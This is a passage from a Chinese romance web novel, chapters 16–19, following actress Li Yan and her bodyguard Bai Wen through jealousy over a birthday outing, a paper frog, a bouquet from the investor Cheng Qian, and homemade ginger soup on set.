柏闻靠在阴凉处的越野车旁,目光落在几十米外正在看监视器的黎宴身上。她今天有场情绪激烈的哭戏,对手男演员NG好几次,连带着她也反复哭了几场。
头顶蝉鸣不歇,他不自觉摩挲着手腕,仿佛那里还残留着黎宴昨晚拉住他的体温与力度。他记得她看过来时有些执拗的眼神,像根细韧的丝线,在他心上缠绕收紧了一整个晚上。
“闻哥。”
赛昂从片场另一边晃过来,笑得促狭:“哟,还守着你的大明星呢?”
柏闻扫了眼他头上那顶,不知从哪个道具堆里顺来的破草帽,嘴角淡淡一扬:“帽子不错,挺配你。”
“必须的,哥们儿这气质,超模来的。”赛昂故意将帽檐往上一推,递了根烟过来,胳膊肘又撞了一下。
“说正事,今天我生日,晚上老地方。阿泰他们特意从邦市赶回来,就等你了。你这贴身保镖,不至于贴到晚上都不撒手吧?”
柏闻点烟,挑眉瞥他一眼:“你上个月不才过完?”
赛昂咂了下嘴,一脸话不能这么说:“上个月那是兄弟们想聚,随便找个由头。这次是真的!我阿妈今早还给我打电话了,不信你拨回去问问?”
他直接把手机递过来,柏闻懒得理会,目光又飘向黎宴。化妆师正在给她补妆,那双哭过的眼红红的。
“有工作,看情况吧。”他的声音很淡。
“又看情况?”赛昂拖着声音抱怨,干脆往越野车引擎盖上一靠,抱着胳膊。
“不是我说,闻哥,咱年前那任务不比当保镖危险多了?也没见你这么抽不开身。怎么,真被拴住了?”
柏闻撩起眼皮看他,没接这话,反而问:“坤察市废弃仓库里那批意外浸水的装备,烂账都解决了?”
赛昂立刻举手:“哎哎哎,揭人不揭短啊!那批货纯粹是意外!”
他眼珠子一转,又换上那副贼兮兮的笑:“不过说真的,你跟这位大明星朝夕相对的,就没点那什么......进展?”
柏闻咬着烟没说话,只是静静盯着黎宴的身影,过了一会儿,答非所问。
“跟她搭戏的那个人业务能力太差,一场戏拍了七遍都没过。”
赛昂愣了一下,没太懂话题怎么跳到了这。
柏闻把烟掐灭,精准地将烟蒂弹入几步外的垃圾桶。
“晚上看情况,她要是收工早我就去,熬大夜我走不开。”
他这话说得太过平常,仿佛把黎宴放在第一位是件天经地义的事情。赛昂一脸你没救了的表情,摇着头唏嘘道。
“行吧,妻管严。”
他故意用中文说这个词,发音别扭但意思到位,柏闻的表情忽然变得有些古怪。
赛昂毫无察觉,自顾自道:“总之我等你信儿,老地方你知道的,不来你就等着哥几个去你酒店楼下唱一宿。”
这话说得欠,柏闻抬脚作势要踹,赛昂大笑着跳开,边退边喊:“真不来我可带人去酒店逮你啊!”
“安静滚。”
扔下这句话,柏闻没再看他,那句咒语般的“妻管严”却在耳朵里嗡嗡回响。他像是被一股无形的力量牵引,目光不受控地再次飘向片场。
在他视线落定的方向,黎宴走入置景,透过窗户可以看见她最后一次整理戏服。下一场是她和男一号的感情戏,陈烨非站在她面前,距离太远,听不清对白。
但柏闻知道他们会说什么,昨晚在他手中被翻得起皱的剧本,让他清楚记得每一句台词和停顿。不远处的男女主沉浸戏中,而他独自站在炽烈的热带阳光下,看着黎宴嘴唇张合。
陈烨非按剧本要求痛苦摇头,然后,她问出了昨晚那句没有被回应的台词。
“习惯新的,也会忘记旧的吗?”
置景中央,陈烨非陷入沉默,而后念出对白。
柏闻的薄唇几乎同时翕动,嗓音低不可闻。
片场外,一辆满载的皮卡呼啸而过,刺耳的鸣笛模糊了他的回答。
渐渐地,骄阳退场,无边暮色悄然漫上。
剧组在黄昏时分收工,回酒店前,黎宴不打招呼直接上了柏闻的车,而后靠在副驾驶闭目养神,一路无话。
就在车即将驶入酒店停车场时,她却忽然开口。
“你晚上有事?”
柏闻打了半圈方向盘:“没有。”
“那个叫赛昂的,是你同事吧。”黎宴没睁眼,语气却了然,“今天他负责的那一片都知道他要过生日了,搞得跟皇帝登基似的,你不去?”
柏闻犹豫了一下,还是道:“不去。”
“你去吧。”
黎宴突然道,柏闻有些意外,侧头瞥她一眼。黎宴环着手臂,下巴微微抬起。
“虽然工作要紧,但我也不是那种不近人情的老板,不会限制员工的私生活。”
柏闻想解释:“不用,我……”
“我让你去。”黎宴重复了一遍,随即补上一句,“但有条件。”
柏闻眉梢微挑:“?”
她不紧不慢地开口:“你可以去给同事过生日,但作为你的雇主,我需要知道你离开和回来的具体时间。”
她稍作停顿,目光转向他。
“并且每隔一小时,你要拍一段三百六十度的现场视频发给我报备。既然我放你离开工作岗位,总得确认我的保镖有没有借着由头,跑到什么我不知道的地方去逍遥快活。”
她说得理直气壮,柏闻对此并无异议,只是说:“视频我可以发给方宁,让她转发给你。”
“我不看二手消息。”
黎宴拒绝道:“而且我今晚有两个线上专访,方宁没空。”
车里陷入短暂的沉寂,柏闻将车停稳,引擎熄火后,周围更是一片安静。
他的手指在方向盘上轻敲了两下,最终开口:“我没有你的微信。”
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“那就加。”
黎宴推开车门,下车前回眸看他一眼:“我手机在方宁那儿,你找她扫。等你到了那边,我要第一时间收到报备视频。”
她说完便走向电梯,高跟鞋踩在地面发出清脆的声响,胜利者般将柏闻甩在了身后。后者坐在车里,目送她的身影被电梯门吞没,低头无声地扯了下嘴角。
柏闻拿出手机,点开与方宁那仅有寥寥数句的对话框,指尖悬停片刻,还是发了条消息过去。
晚间七点四十,黎宴结束了最后一个线上专访。
方宁朝她走来,将手机递还,小声说:“宴姐,柏队加你微信了,我扫给他的。”
“知道了。”黎宴状若无事地接过手机,挥了挥手,方宁便出去忙了。
客厅宁静,黎宴陷进柔软的沙发,微信点开的瞬间,她看着通讯录里久违的红点,心跳不自觉快了一拍。
他的验证消息很简单,就两个字:柏闻。
她盯着看了好久,最后才记起通过这回事。
聊天窗口自动跳出来,黎宴的目光落在顶部的微信ID上,是两个英文字母。
——MI。
一丝酸意悄然漫上心头,她一眼就认出这是“Meet immediately”的缩写。
大概是初中的某个午后吧,她抢过柏闻新注册的微信,非要给他取名。他当时笑着任她胡闹,以为她要取个什么惊世骇俗的名字。她盯着屏幕想了半天,忽然灵光一现。
“你叫柏闻,百闻不如一见,那就叫立刻见面好了!取个英文洋气点,Meet immediately,简称MI,又高冷又有内涵,是不是很酷!我是取名天才吧!”
柏闻笑了一声,竖起大拇指附和:“是是是,太厉害了。”
从那以后,他一直用着这个ID,直到四年前微信注销。
黎宴没想到他换了新的微信,竟然还用着这个名字,心头微微一动,像是抓住了他也并未全然舍弃过去的证据。
接着,她迫不及待点进柏闻的朋友圈,然而一片空白,要么没发过,要么对她不可见。
黎宴眉头飞蹙,立刻打开某书搜索。
“微信朋友圈被屏蔽的界面……”
她一边小声念一边打字,直到看见他人被屏蔽的惨痛案例与自己不符,终于安心了。
但她不太满意,总觉得获得的信息太少,又开始研究起柏闻的头像。那是一棵挂在枝头的青梅,稍稍压弯了枝桠,饱满得仿佛能透过屏幕闻到那股微酸的气息。
柏闻对青梅有种执着的钟爱,喜欢的糖果是青梅味,生日蛋糕要夹青梅酱,就连以前老房子院里种的青梅树,也是他从小到大一直养护。
黎宴问过他为什么,他只是笑笑说:“喜欢就是喜欢,没有为什么。”
后面她就懒得问了。
而现在,距离柏闻第一次报备的时间还差十一分钟。黎宴有些等不及,手机举得高高的,眼都不眨地盯着屏幕。
17. 第 17 章
晚间八点整,手机准时震动。
黎宴立刻弹坐起身,连句开场白都没有的对话框里,柏闻发来第一条报备视频。
她迅速点开,但不太满意,只有十五秒。
她继续往后看,画面有些摇晃,但能看出是在一个露天烧烤店,人声相当嘈杂。柏闻没有自拍,而是用后置镜头缓慢绕了一圈,拍到了围坐在长条木桌边的七八个男人,其中不少是她在片场见过的熟脸。那个叫赛昂的坐在正中,头上歪歪扭扭地戴了个生日皇冠。
很好,没有女人。
黎宴把视频反复检查了三遍,确认视野范围内没有任何女性的身影,这才松了口气。但她的目的不止于此,很快又开始注意画面里的细节,将入镜店铺的招牌截屏保存,微信一键翻译,复制到打车软件搜索距离。
这家店离酒店不远,是一家夜市排挡。
大约十分钟后,黎宴换了身最不起眼的深色运动服,戴上鸭舌帽和口罩,从酒店悄悄离开了。
她没开车,选择打车前往。因她在大夏天里这身严严实实的装扮,司机还从后视镜里多看了她两眼,她只默默压低了帽檐。
出租车在拥挤的夜市入口停下,黎宴付钱下车,一头扎进人流。夜市上一片喧嚣的热闹,空气里弥漫着炭火,香料和热带水果的浓郁气味。她很快找到了那家烧烤店,柏闻他们坐在最靠外的一桌,很显眼。
黎宴躲在不远处一个算塔罗牌的摊位后面,借着来往游客的掩护,悄悄望了过去。
然后她愣住了。
那是柏闻,但又不是这半个月来看惯了的柏闻。
他坐在赛昂旁边,斜靠在塑料椅里,一条手臂随意搭在椅背上。有人凑上去和他说话,他侧着头听,眉目舒展,嘴角挑着一丝笑意。明明头顶着廉价的五彩串灯,反而显出一种毫不费力的英俊。
饭桌上的气氛相当热络,年轻的男人们喝酒划拳,赛昂大笑着拍他的肩。他侧过脸,笑着躲了一下,而后拿起啤酒瓶和赛昂碰了碰,仰头喝了一口。
黎宴站在暗处,不自禁攥紧了衣角。
她太熟悉了,这才是柏闻。准确来说,是很多年前的柏闻。
她记得他高中篮球赛投进压哨三分时,笑着朝观众席的她挥手臭屁的样子。记得他大学保送后在家里给她讲题,讲到得意处会微微挑眉的样子。甚至更早,小学时他作为班长在讲台上发言,台下的小女生们偷看他的样子。
那个柏闻是鲜活的,耀眼的,被很多人喜欢和围绕的,无论应对任何情况都游刃有余的。
而不是这半个月来,在她面前那个沉默的,克制的,总是回避她的柏闻。
一股无名火蹭地冒了上来,黎宴气得咬唇,眼睛死死盯着那个谈笑风生的男人。
装。
继续装。
在我面前就一副沉默是金,苦大仇深的样子,在这儿倒是笑得挺开心?
黎宴磨着牙,正盘算着回去怎么收拾他。这时,烧烤摊边忽然出现一个小小的身影。
那是个穿花裙子的小姑娘,看上去不过五六岁,朝他们的桌子望了几眼后,精准地走到了柏闻身边,拉了拉他的衣角。
黎宴:“?”
柏闻低下头,看见她后柔和地笑了笑。
黎宴:“???”
他说了句什么,距离太远黎宴听不清,但看见小女孩递过去一张彩色的糖纸。柏闻接了过来,对小女孩笑了笑,然后那双手开始灵巧地折叠。不到一分钟,糖纸就在他手里变成了一只活灵活现的彩色小青蛙。
小女孩惊喜地直拍手,接过小青蛙,高高兴兴地跑远了。
黎宴站在原地,火已经从心口烧到了头顶。
他居然给别人折小青蛙?
她允许了吗?他凭什么给别人折小青蛙!
记忆不由分说地当头砸下,小学手工课,她怎么也学不会折纸青蛙,别的小朋友说她笨,气得她回去把家里的彩纸全扬了。是柏闻一张张捡起来,悄悄折好一只,塞进她的铅笔盒里。第二天她在学校发现时,那只青蛙的背上还用彩笔画了个笑脸。
而现在,他随随便便就折给了别人!
黎宴深吸一口气,强迫自己移开视线。她看着那个小女孩跑到街道对面,正举着小青蛙朝另一个稍大点的孩子炫耀。
夜黑风高,小女孩还沉浸在拥有新玩具的快乐里,蹦蹦跳跳地沿着街边往巷子里走。
这时,身后传来急促的脚步,有人用英文在她身后喊。
“Hey.”
小女孩回头,只见眼前站了个戴着帽子口罩,全身黑衣的怪人,吓了一大跳,连连往后退。
那个怪人忽然蹲了下来,指了指她手里的小青蛙,说着她能听懂的简单词汇。
“Give me.”
小女孩瞪大眼睛,紧紧攥着小青蛙向后瑟缩。却见那个怪人从口袋里掏出钱包,抽出几张面额很大的纸币。
怪人把钱递过来,又指了指青蛙,重复:“Give me. Money for you.”
小女孩看了看钱,心动。又看了看小青蛙,也很心动,小脸上写满挣扎。
“You can buy Barbie.”
那个怪人又说话了。
“Many Barbie.”
最终,小女孩对芭比娃娃的渴望战胜了这只小青蛙。她慢慢伸出手,把那只彩色的糖纸青蛙放在怪人掌心,然后飞快地抓过钱,转身就跑。
黎宴站起身,握着那只还有余温的小青蛙,轻哼了一声,将它塞进外套口袋。
柏闻承诺的聚餐结束时间是晚上十点,黎宴听不懂他们的语言,没必要一直在夜市等,先一步回了酒店。
洗漱完毕后,她坐在客厅的沙发里,漫无目的地给电视换台。等他回来的期间,她每隔几分钟就要看一次手机,对时间敏感得不行。
那只小青蛙被她扔在床头柜抽屉里,眼不见心不烦。
九点五十九分,套房门锁传来拧动的轻响。
柏闻推门进来,见她仍坐在沙发上,有些意外:“你…还没睡?”
黎宴目不斜视地盯着电视屏幕,语气硬邦邦的:“你没发聚餐结束的报备视频,我等着扣你超时的误工费。”
柏闻犹豫了几秒,最终还是走进前厅,在她身侧的单人沙发坐下,拿出手机:“最后一个视频是九点四十拍的,我回来了,还要发么?”
“发。”黎宴依旧不看他。
身旁的手机轻轻一震,黎宴瞥了一眼,没拿起来直接点开。这次更短,只有十秒,拍的是空了的酒瓶和正在散场的人群,柏闻的声音在视频里响了一下,说的是她听不懂的孟甘语,然后视频结束。
黎宴按熄屏幕,双手揣在怀里端着,沉默开始在客厅里漫开。
几分钟后,她忽然开口,声音凉凉的。
“玩得挺开心?”
柏闻正低头回消息,闻言抬眼:“什么?”
“我说——”黎宴转过头,终于正眼看他,一脸皮笑肉不笑的表情,“看你视频里的人都笑得挺开心,聚餐很愉快?”
柏闻遭到莫名攻击,顿了顿:“还行,同事生日,聚一聚。”
“哦——同事。”黎宴拉长了声音,眼神里有杀气。
“他们笑得那么开心,估计你也不差吧?开心坏了吧?”
柏闻:“……”
“也是,毕竟在这边待了五年,朋友多很正常。”
黎宴拿起茶几上的水杯,也不喝,就逮着杯壁轻敲,“不像我,在这儿人生地不熟,语言又不通,拍完戏只能回酒店干坐着。”
柏闻抿了抿唇,收起手机:“如果你想出去,可以让方宁安排,或者……”
“或者让你那些同事带我玩儿?”黎宴打断他,自己都没察觉话里的酸味有多浓,“算了吧,我可不敢耽误你们兄弟情深。”
柏闻侧过脸,抬手虚掩着唇,很低地咳了一声。黎宴一眼就捉到他唇角那点被快速压下去的笑意,更火大了。
“笑什么笑?”她板起脸。
“我说错了?难道你们不止兄弟情深,还请了神秘女嘉宾一起交流感情?”
这话转折得毫无逻辑,柏闻吸了口气,无奈地压住嘴角:“都是男的。”
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黎宴阴阳怪气地哦了一声,抓过一旁的靠枕攥在手里:“散场了不立刻报备,非得卡着十点回来。你怕不是玩得太开心,忘了酒店里还有个给你发工资的老板?”
柏闻看着灯光下的她,正无意识地狠狠揉捏着怀里的靠枕,眼神里全是气性。这股故意找茬的劲儿,和以前闹脾气时一模一样。看着看着,他心里某个地方,突然就软得一塌糊涂。
“没忘。”他声音不自觉放低了些,“这不是准时回来了?”
黎宴挑眉:“准时?你说视频是九点四十拍的,这地方在夜市吧?打车回来三分钟,走路回来也就十分钟。你九点五十九进门,我算你走路回来的,还有九分钟你干嘛去了?”
她故意停顿,眼睛在他身上扫了一圈,话锋忽转:“该不会女朋友来了,先送她回家了吧?”
柏闻这次是真的笑了出来,很短,但足够清晰。
“我在等电梯。”
他看着她,一字一句认真解释。
“而且,我没有女朋友。”
黎宴从鼻子里哼出一声,假装毫不在意,小声嘟囔了句:“那谁知道?”
“真没有。”柏闻有些无奈,“你可以去问赛昂。”
“我和他很熟吗?他是你朋友,又不是我朋友,我为什么要问?”
黎宴回怼他,抬起下巴趾高气昂,柏闻看着她:“如果你需要,可以介绍给你认识。”
黎宴把头一扭,还是那副冷冷淡淡的样子:“谁要认识,我又不在这儿长住。”
话一出口,客厅里静了一瞬。黎宴自己也察觉出这话有点不对劲,但不想服软,反而觉得待不下去了。她只当是今晚的阴阳怪气额度用完了,索性把靠枕一扔,起身就往卧室走。
“我睡了。”声音闷闷的。
柏闻看着她气哄哄的背影消失在卧室门口,压下笑意,故意问:“前厅的门要关吗?”
一颗毛茸茸的脑袋猛地从门边探出来,狠狠瞪他:“我昨天说了不关!”
随即,卧室门被砰地一声关上。
柏闻坐在沙发,又静静地待了几分钟,直到离开客厅前,他走到她卧室门外,无声地停驻了一会儿,听她在里面翻来覆去。
他失笑,轻轻摇头,转身朝安保间走去。
凌晨三点,夏夜静谧。
安保间的门被悄无声息地推开,柏闻穿过昏暗的客厅,在黎宴卧室门外停步。
没有刷视频,也没有循环播放的催眠有声书,房间里很安静,她已经睡着了。
他无声拧开门把,卧室里只亮着一盏小夜灯,光线昏暗暖黄。黎宴侧身蜷着,被子满床乱踢,长发散在枕上。
柏闻走近,将她滑到腰际的睡衣轻轻拉下来,又扯过薄被,仔细盖住她的肚子。知道她的睡相不好,于是将空调也调高了几度。
他想起她今晚追问的那九分钟,其实他没说全。中途他去便利店买了酸奶,昨天在片场听她和方宁提起,说孟甘的酸奶没有国内某牌子的好喝。
柏闻在床边蹲下,视线在床头柜上停留了片刻,然后伸手,极轻地拉开了抽屉。
那只彩色的糖纸青蛙果然被扔在里面。
柏闻拿起它,托在掌心。
晚上聚餐快散场时,赛昂的妹妹跑回来,朝他缅语夹英语地比划着,说小青蛙被一个戴帽子口罩的可怕姐姐买走了,给了她很多很多钱,她来给柏闻分。
赛昂当时还笑:“行啊闻哥,这么快就打开销路了。”
柏闻当时没说话,赛昂的妹妹问他还能不能再折一只小青蛙。他摇了摇头,轻轻告诉她,这是最后一只了。
全世界只有一个人,会干这种幼稚又霸道的事。
柏闻抬眼,看向熟睡中的黎宴。她的睫毛乖乖垂着,嘴唇微抿,安静得像个孩子。
只有孩子才会偷偷跟踪他,会吃一个陌生小女孩的醋,会用最笨拙的方式抢回她认为专属于自己的东西。
柏闻伸出手,轻轻拂过她额前的碎发,温柔至极,生怕打碎眼前的梦。
“晚安。”
他用气声说,含了点低低的笑意。
“笨蛋妹妹。”
18. 第 18 章
黎宴一觉睡到天光大亮,下午才有她的戏,时间还早。
她是在闷闷不乐里醒来的,那只彩色青蛙变成巨型蛙,在她梦里呱呱叫了一夜,令她很不痛快。
她知道自己这醋吃得毫无道理,毕竟对方只是个孩子,但情绪这种东西从来都不讲道理。
烦死了,都怪柏闻。
黎宴心想,耳朵却不自觉听起外面的动静。套房内静悄悄的,也不知道柏闻这会儿在做什么。她本想发条微信问问,手机刚拿起来,又觉得不爽。
明明是他先惹自己生气的,是他先给别人折小青蛙对她不忠的,凭什么要主动联系他?
可手机能放下,心却放不下。如今两人同住一个套房,黎宴实在很难不去注意柏闻。她靠在床头,目光落在紧闭的卧室门上,忽然心念一动,清了清嗓子,朝着门的方向重重咳嗽了两声。
果然,和从前一样,一道脚步声自客厅内传来,随后停在门外,敲门声响起。
黎宴忙整理了下头发,努力让声音听起来冷淡又随意:“进。”
门开了。
柏闻站在门口,手里端着一杯水。
他今天换了身阿迪的黑色短袖和运动长裤,款式和她那天买的很相似,都是普通的类型。主要是那张脸帅,显得穿搭完成度很高。
但黎宴的注意力很快被他脸上的表情吸引。
不知道怎么回事,柏闻今天看上去有些沉闷,眉头似乎蹙着,嘴角也抿得很紧。乍一看风平浪静,却总让人觉得……哪里不太对劲。
这样的表情,黎宴从前只在她因为生气而故意说讨厌哥哥的时候,从柏闻的脸上看到过。
他没进来,就站在门口,半晌后吐了个“水”字。
黎宴心里闷气未消,看他还敢摆脸色,更想耍点威风,于是手臂一抱:“拿进来啊,放床头柜上。”
柏闻看了她一眼,眼底似乎有什么东西快速闪了一下。他迈步走进房间,步伐比平时稍快些,将水杯放在床头。
“还有事吗?”他开口问,声音还算平静。
黎宴本来也没想好后招,见他脸色不好,索性摇头:“没了。”
柏闻一句话没说,转身就走,连个多余的眼神都没给她,卧室门再度关上。
黎宴不可置信地笑了一声。
她心里更闷,一把掀开被子下床,光脚踩在地毯上。她没喝那杯水,本来咳嗽也是装的,直接拉开卧室门走了出去,想看看柏闻究竟是哪根筋不对。
客厅里,柏闻背对她站在餐桌旁,而餐桌上——
黎宴的脚步顿住了。
那是超大一束鲜花,正摆在餐桌中央。淡粉色的玫瑰,白色的郁金香,浅紫色的绣球,还有几支翠绿的尤加利叶。花束用浅灰色的艺术纸包装着,系着深蓝色的丝带,造型考究优雅,一看就不是酒店送的。
一丝小小的雀跃浮上心头,黎宴眨了眨眼,第一反应是柏闻送的?
她正想着,柏闻转过身来,目光先落在她脸上,然后缓缓向下。
他的眉头又皱了起来。
这个表情黎宴太熟悉了,从小到大,只要她不穿鞋在地上走,他就会露出这种神色,潜台词是——“你怎么又不听话?”
“鞋。”他只说了一个字。
黎宴低头看了看自己的脚,又抬头看他,心里那点恶作剧的念头又冒出来了,故意站着不动。
柏闻没说话,转身走向玄关的鞋柜,从里面拿出一双备用拖鞋,几步走回来,在她面前蹲下。
这个动作太自然了,自然到黎宴有一瞬间的恍惚。
柏闻单膝点地,运动裤的布料绷在结实的腿上。他一只手托住她的脚踝,手掌温热,只是一点薄茧弄得她有点痒,另一只手又利落地把鞋给她套上。
轮到右脚时,黎宴故意晃了一下,柏闻本能地将膝盖朝她一转:“踩上来。”
黎宴小小得意,将右脚轻轻落在了他的左膝上。从这个角度能看见柏闻的睫毛很长,发顶也毛茸茸的,让人很想揉一把。整个穿鞋的过程他都没有抬头,但黎宴隐隐约约有感觉到,他托着她脚踝的手,似乎有点用力啊……
但鞋已经穿好,黎宴轻快地走到餐桌旁,俯身凑近那束花,一股清新淡雅的花香扑鼻而来。她美滋滋地伸手拨弄了一下花瓣,状似随意地问:“这花哪来的?”
柏闻正在整理被她弄皱的裤腿,语气平淡:“早上下楼吃饭,前台说有人送给你的。”
黎宴的心沉了一下。
不是他送的。
“谁送的?”她转头看他。
柏闻已经整理好衣服,双手插进口袋,扫了一眼那束花,语气依然平淡:“不知道。”
“不知道?”黎宴出乎意料,“连张贺卡都没有吗?”
柏闻面不改色:“没有。”
“奇了怪了……”黎宴正纳闷,过了几秒,柏闻忽然开口,声音比刚才更低。
“你很喜欢?”
黎宴闻声回头。
他依然是那个站姿,表情平静,目光却落在她身上。
黎宴发现,这似乎是重逢以来,柏闻第一次问自己的事情。只不过她还在因为小青蛙生气,没想到老天爷给她也送来一只“小青蛙”,索性顺着柏闻的话,故意扬起唇角。
“当然喜欢啊,知道我的详细住址还能把花送来的,肯定都是我认识的人。心意最珍贵,我有什么理由不喜欢?”
她顿了顿,加重语气。
“特别喜欢。”
说着,黎宴抽出一只白色郁金香,凑到鼻尖闻了闻,眼角余光瞥向柏闻。
然而,柏闻什么都没说,仿佛就是随口一问,转身大步回了安保间。
客厅里又安静了。
黎宴站在原地,手里还拿着那支郁金香,看向紧闭的安保间门,心里狐疑极了。
她的气还没消,这人又在不高兴什么?
柏闻今天有病吧?
*
下午两点,剧组片场。
孟甘的午后阳光毒辣,空气也闷热潮湿。方宁举着小风扇,看着从黑色越野车上下来的黎宴,唏嘘地摇头叹气。
自从上次暴雨之后,宴姐再也没坐过剧组安排的保姆车,每天出工收工,都是柏队接送,偏偏关系又没什么进展。
真是好一对怨侣啊……
她正感慨着,又见柏闻也下了车,绕到副驾驶前撑开一把黑伞,一路护送黎宴过来。
方宁小跑着迎上去,赶忙提醒:“宴姐,你今天小心点啊,程总回来了,刚才在棚里发了好大的火。”
黎宴一脸疑惑:“怎么了?”
“程总对陈烨非的表现不满意,NG了七八条。陈烨非团队那边过来协调,但陈烨非本人你也知道,有点傲,说了几句硬话,把程总惹毛了。”
方宁做了个抹脖子的动作:“程总放话了,能拍就拍,不能拍就换男一,现在整个组都战战兢兢的。”
方宁将声音压得很低,黎宴点点头,表示知道了,随后下意识看向身边的柏闻,却发现他的注意力根本不在这里。
他正盯着片场另一头,是导
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演棚的方向,眼神又深又暗,看不出在想什么。
“柏闻?”黎宴轻声叫他。
柏闻收回目光,看向她时,眼神已经恢复了平静。
“走吧。”他说着,伞面又往她这边倾斜了一些。
三人往片场里走,方宁本想接过撑伞的活儿,但一看柏闻那没什么表情的样子,整个人散发出一股生人勿近的气场,她又默默把话咽了回去。
刚走到拍摄区边缘,导演棚那边就有人朝这边挥了挥手,紧接着程谦起身,从棚里走了出来。
“黎宴。”程谦微笑着打了个招呼。
“上次片场的意外我听说了,没吓到吧?那会儿我刚好回国处理其他项目,也没来得及慰问。”
黎宴笑了笑:“没事,多亏了柏闻,处理得很及时。”
见她直呼姓名,程谦的目光自然转移到柏闻身上:“这位是?”
“剧组的安保组长,也是我的私人保镖。”黎宴介绍道,又对柏闻说,“这位是程总。”
柏闻所属的安保公司在整个业内颇负盛名,程谦作为聘请他们的资方代表,理应打个招呼,于是伸手:“我是程谦,剧组的资方。柏队,幸会。”
柏闻伸手与他相握,力道不轻不重,一触即分。
“柏闻。”他点头,声音低沉,没有多余的寒暄。
程谦的目光再次落向黎宴,像是忽然想起什么:“对了,花收到了吗?算我迟到的一点慰问。”
“花是程总送的?”
黎宴微微睁大了眼睛,马上又道:“您怎么也不发个微信说一声,我都没来得及向您致谢。”
程谦愣了一下:“你没看见卡片吗?”
黎宴思衬了下:“有…吗?”
她看向柏闻:“我的保镖亲自去拿的。”
此刻,包括方宁在内,三个人的目光都聚焦在柏闻身上。后者神色从容,淡淡开口:“可能骑手弄丢了吧。”
语气坦然得要命。
程谦一脸原来如此地点头,也认同这个说法:“的确有可能,国外的配送服务毕竟不比国内。”
“是啊。”黎宴附和道,目光却一直没离开过柏闻的脸。
“国外的服务是比较一般,对吧,柏闻?”
她故意稍稍拖长了音调,柏闻迎着她的眼神,平静地发出一个单音节:“嗯。”
黎宴压不住嘴角,一瞬间脑海里闪过很多画面。青春期的时候,她第一次收到情书,藏在校服口袋里,自以为天衣无缝。结果一回家,柏闻就靠在玄关,冷着脸说:“交出来。”
她因为柏闻的跟踪生了很大的气,最后气得把情书撕了扔在他脸上。
多年来他总是这样,用自己那一套方式,权威又霸道地把她身边所有“不该存在”的东西都清理干净。
现在,二十六岁的柏闻依然在做同样的事,只是手段更悄无声息,脸皮也更厚了。
黎宴心里又好气又好笑,但又忍不住得意,她好像抓到了一丝丝从前的柏闻。
程谦明显没察觉到这两人之间涌动的暗流,看了眼腕表,又说:“对了,今晚你有夜雨戏是吧?我让人准备了姜汤,已经放在你房车上了。保温时间很长,拍完记得喝。”
这话一出,在场四人里,有两个人的目光都悄悄看向了柏闻。
柏闻站姿依旧,脸上看不出什么表情变化,只是他周围的气压仿佛低了好几个度,午后的阳光明明热辣无比,却唯独绕开了他周身那一圈似的。
方宁觉得,柏队身上那股生人勿近的气场更强了。
19.第 19 章
程谦这一举动明显超过了资方对演员的关怀,黎宴心知肚明,但也不好驳他面子,于是得体一笑。
“程总太客气了,我会记得喝的,感谢。”
程谦反倒觉得黎宴更客气,但也不恼,微笑着回:“应该的,演员的身体也重要。”
说着,他的目光在柏闻身上落了一瞬,不再过多寒暄,转身朝导演棚走去。
等他走远了,黎宴才转头看向柏闻,他正目送程谦的背影,侧脸又冷又硬。
“柏队。”黎宴故意用了正式的称呼。
“你是不是对程总有什么意见?”
柏闻低头看着伞下的她,也回道:“黎小姐误会了。”
“是吗?”黎宴挑眉,啧啧了两声,“那刚才程总说送我花的时候,你干嘛那副表情?”
柏闻面不改色:“太晒了,黎小姐又误会了。”
张口不离黎小姐。
“是吗?”黎宴拖长了声音,托着下巴仔细思考。
“那程总送的姜汤,晚上我可要回去好好品尝。”
她说着还咂巴了下嘴,柏闻看着她,眼睛里有什么东西翻涌了一下,又被他快速压了下去,最后只说了一句。
“该准备了,拍摄的时间点要到了。”
“方方会提醒我的。”
黎宴轻飘飘道,从他手里抢过伞柄,挑衅地朝他勾起嘴角,挥挥手转身往拍摄区去了。
方宁的眼神扫过柏闻,憋着笑跟了上去。柏闻站在原地,看着前方那个雀跃的身影,无奈地叹了口气。
忙完下午的戏份,黎宴的夜戏在晚上九点钟开拍。
这场戏需要人工降雨,黎宴在冰冷的雨水中奔跑,摔倒,再爬起来,反复好几次。等她终于听到导演拍板喊停,湿漉漉的衣服黏在身上,冷得她牙齿打颤。
方宁抱着干毛巾和保温杯跑了过去,但柏闻不知道从哪里冒出来,大步抢在她前面,一把拿走了她手里的毛巾,只留下渐远的两个字。
“我去。”
方宁愣在原地,看着前方那个高大的背影,心想那个男人连走路都带着一股压不住的气势。
听见脚步声,黎宴头也不回地伸手要热水。柏闻几步走到她面前,将烘热过的毛巾裹在她头上,开口就是公事公办。
“导演说这条过了,去房车上换衣服,不然会感冒。”
远处正走来的程谦被挡在柏闻身后,他脚步一顿,男人的本能立刻让他敏锐地察觉到了什么。
黎宴的保镖,似乎对他有种不同寻常的……敌意。
但程谦微不可闻地哼笑了一声,绕过柏闻走到黎宴身边,带来二手消息:“这条过了,情绪很到位。快去处理一下,别着凉。”
黎宴点了点头,在柏闻的护送下往房车走去。但怪怪的,她总觉得身后有好几双眼睛在看着自己。
房车就停在片场边缘,黎宴上车后,柏闻没跟,就站在门外。
黎宴换完干衣服,用毛巾擦着湿透的头发,看也不看就朝门外喊:“柏闻,我的姜汤呢?”
车外没动静,但几秒后门开了。柏闻走上车,径直走到小厨房区域,打开电磁炉,开始热锅里的姜汤。
黎宴擦头发的动作慢了下来,她看着柏闻的侧影,他站在狭小的厨房区,肩膀几乎要碰到上面的柜子,热气扑在他没什么表情的脸上。
黎宴视线一转,见灶台上还有个保温桶,于是上前拧开,发现里面也是一份姜汤。
她开口:“两份?”
柏闻头也不回:“别喝来路不明的东西。”
黎宴拿起那个保温桶,故意晃了晃:“金主的心意诶,不喝多不给面子啊。”
柏闻低声:“娱乐圈复杂,谨慎点。”
黎宴了然,心里那点得意像可乐气泡一样往上冒。她凑近锅边,看着里面咕嘟翻滚的姜片和红枣,故意问:“难道锅里这汤就安全了?”
柏闻一只手插在口袋里,另一只手搅合着汤,依然没看她,半天后回了一句。
“我煮的。”
黎宴早就猜到了,得逞地笑了笑,一脸为难地说:“行吧,勉强喝一口。”
她接过柏闻盛在碗里的汤,热气扑面而来,她小口小口喝着。柏闻煮的姜汤没那么辣喉咙,红糖甜得刚刚好,很快她的身体就暖了起来。
柏闻站在旁边看着她喝,从早上起就绷着的嘴角终于柔和了一点。他转身收拾灶台,极为顺手地把程谦那个保温桶推到角落。
